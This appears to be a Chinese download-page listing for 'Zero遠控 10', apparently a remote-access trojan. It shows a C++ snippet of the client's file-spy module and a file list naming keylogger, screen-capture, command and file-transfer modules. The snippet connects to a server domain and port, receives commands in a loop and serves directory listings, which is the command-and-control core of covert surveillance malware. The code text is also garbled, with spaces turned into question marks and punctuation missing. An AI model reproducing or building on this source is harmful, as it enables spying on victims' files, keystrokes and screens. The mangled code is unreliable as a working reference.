資源簡介
Zero遠控 10

代碼片段和文件信息
#include?“filespy.h“
//?初始化FileSpy
static?FileSpy?gSpy;
FileSpy::FileSpy()
{
}
void?FileSpy::startByNewThread(std::string?domain?int?port)
{
????//?將域名和端口數據轉換成一個字符指針類型
????char?*args?=?new?char[MAX_PATH+sizeof(int)];
????domain.reserve(MAX_PATH);
????memcpy(argsdomain.data()?MAX_PATH);
????memcpy(args+MAX_PATH(char*)&port?sizeof(int));
????//?創建新線程
????HANDLE?h?=?CreateThread(NULL0?FileSpy::fileSpyThreadProc(LPVOID)args0NULL);
????if?(!h)?{
????????std::cout?<“Failed?to?create?new?thread“?<????????std::fflush(stdout);
????}
}
DWORD?FileSpy::fileSpyThreadProc(LPVOID?args)
{
????char?domain[MAX_PATH];
????memcpy(domain?args?MAX_PATH);
????int?port?=?*((int*)((char*)args+MAX_PATH));
????//?開始監控
????startFileSpy(domain?port);
????//?釋放參數
????delete?(char?*)args;
????return?true;
}
void?FileSpy::startFileSpy(std::string?domain?int?port)
{
????//?連接到服務器,接收服務器的指令
????TcpSocket?sock;
????if?(!sock.connectTo(domain?port))?{
????????std::cout?<“Failed?to?connect?server?for?file?spy“?<????????std::fflush(stdout);
????}
????//?死循環,不斷從服務端接收數據
????const?int?packetSize?=?800;
????char?szData[packetSize];
????int?ret;
????std::string?buf;
????while?(1)?{
????????ret?=?sock.recvData(szData?packetSize);
????????//?出現錯誤
????????if?(ret?==?SOCKET_ERROR?||?ret?==?0)?{
????????????break;
????????}
???????//?把數據加入到緩沖區
???????addDataToBuffer(&sock?buf?szData?ret);
????}
}
void?FileSpy::addDataToBuffer(TcpSocket?*sock?std::string?&buf?char?*data?int?size)
{
????buf.append(datasize);
????//?把數據轉換成指令模式
????int?endIndex;
????while?((endIndex?=?buf.find(gSpy.CmdEnd))?>=?0)?{
????????std::string?line?=?buf.substr(0endIndex);
????????buf.erase(0?endIndex+gSpy.CmdEnd.length());
????????//?獲取指令
????????int?firstSplit?=?line.find(gSpy.CmdSplit);
????????std::string?cmd?=?line.substr(0?firstSplit);
????????line.erase(0?firstSplit+gSpy.CmdSplit.length());
????????//?處理指令
????????processCmd(sock?cmd?line);
????}
}
std::map?FileSpy::parseArgs(std::string?&data)
{
????//?字符串分割成列表
????std::vector?v;
????std::string::size_type?pos1?pos2;
????pos2?=?data.find(gSpy.CmdSplit);
????pos1?=?0;
????while(std::string::npos?!=?pos2)?{
????????v.push_back(data.substr(pos1?pos2-pos1));
????????pos1?=?pos2?+?gSpy.CmdSplit.size();
????????pos2?=?data.find(gSpy.CmdSplit?pos1);
????}
????if(pos1?!=?data.length())?v.push_back(data.substr(pos1));
????//?解析參數
????std::map?args;
????for?(int?i=0;?i<(int)v.size()-1;?i+=2)?{
????????args[v.at(i)]?=??v.at(i+1);
????}
????return?args;
}
void?FileSpy::processCmd(TcpSocket?*sock?std::string?&cmd?std::string?&data)
{
????//?解析參數
????std::map?args?=?parseArgs(data);
????//?獲取文件
????if?(cmd?==?gSpy.CmdGetDirFiles)?{
????????doGetDirFiles(sock?args);
????????return;
????}
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件??????13513??2016-12-24?17:43??Zero遠控_10\ZeroClient\filespy.cpp
?????文件???????3525??2016-12-24?08:57??Zero遠控_10\ZeroClient\filespy.h
?????文件???????1378??1997-10-18?15:41??Zero遠控_10\ZeroClient\jpeg\jconfig.h
?????文件??????12717??2014-09-03?11:55??Zero遠控_10\ZeroClient\jpeg\jmorecfg.h
?????文件??????47339??2016-12-21?08:02??Zero遠控_10\ZeroClient\jpeg\jpeglib.h
?????文件?????235030??2014-04-05?15:23??Zero遠控_10\ZeroClient\jpeg\libjpeg.lib
?????文件???????7006??2016-12-23?16:56??Zero遠控_10\ZeroClient\keyboardspy.cpp
?????文件???????1512??2016-12-22?15:24??Zero遠控_10\ZeroClient\keyboardspy.h
?????文件???????1184??2016-12-23?16:41??Zero遠控_10\ZeroClient\main.cpp
?????文件???????9188??2016-12-23?12:36??Zero遠控_10\ZeroClient\screenspy.cpp
?????文件???????1378??2016-12-21?14:42??Zero遠控_10\ZeroClient\screenspy.h
?????文件???????3746??2016-12-24?11:08??Zero遠控_10\ZeroClient\tcpsocket.cpp
?????文件????????910??2016-12-24?10:55??Zero遠控_10\ZeroClient\tcpsocket.h
?????文件???????8058??2016-12-24?10:08??Zero遠控_10\ZeroClient\zeroclient.cpp
?????文件???????2379??2016-12-23?16:10??Zero遠控_10\ZeroClient\zeroclient.h
?????文件????????297??2016-12-23?12:02??Zero遠控_10\ZeroClient\ZeroClient.pro
?????文件??????23635??2016-12-24?17:47??Zero遠控_10\ZeroClient\ZeroClient.pro.user
?????文件??????12843??2016-12-24?17:34??Zero遠控_10\ZeroServer\filespy.cpp
?????文件???????4165??2016-12-24?16:20??Zero遠控_10\ZeroServer\filespy.h
?????文件???????4122??2016-12-24?17:47??Zero遠控_10\ZeroServer\filetransfer.cpp
?????文件???????1375??2016-12-24?17:44??Zero遠控_10\ZeroServer\filetransfer.h
?????文件???????1784??2016-12-23?17:59??Zero遠控_10\ZeroServer\keyboardspy.cpp
?????文件????????984??2016-12-22?17:42??Zero遠控_10\ZeroServer\keyboardspy.h
?????文件????????199??2016-12-19?12:00??Zero遠控_10\ZeroServer\main.cpp
?????文件???????5064??2016-04-24?09:10??Zero遠控_10\ZeroServer\resources\cmdspy.png
?????文件???????8132??2016-04-24?09:13??Zero遠控_10\ZeroServer\resources\filespy.png
?????文件???????4560??2016-04-24?09:23??Zero遠控_10\ZeroServer\resources\keyboardspy.png
?????文件???????7688??2016-04-24?09:14??Zero遠控_10\ZeroServer\resources\screenspy.png
?????文件??????21662??2016-04-24?10:49??Zero遠控_10\ZeroServer\resources\zero.ico
?????文件???????3644??2016-04-24?10:44??Zero遠控_10\ZeroServer\resources\zero.png
............此處省略27個文件信息
評論
共有 條評論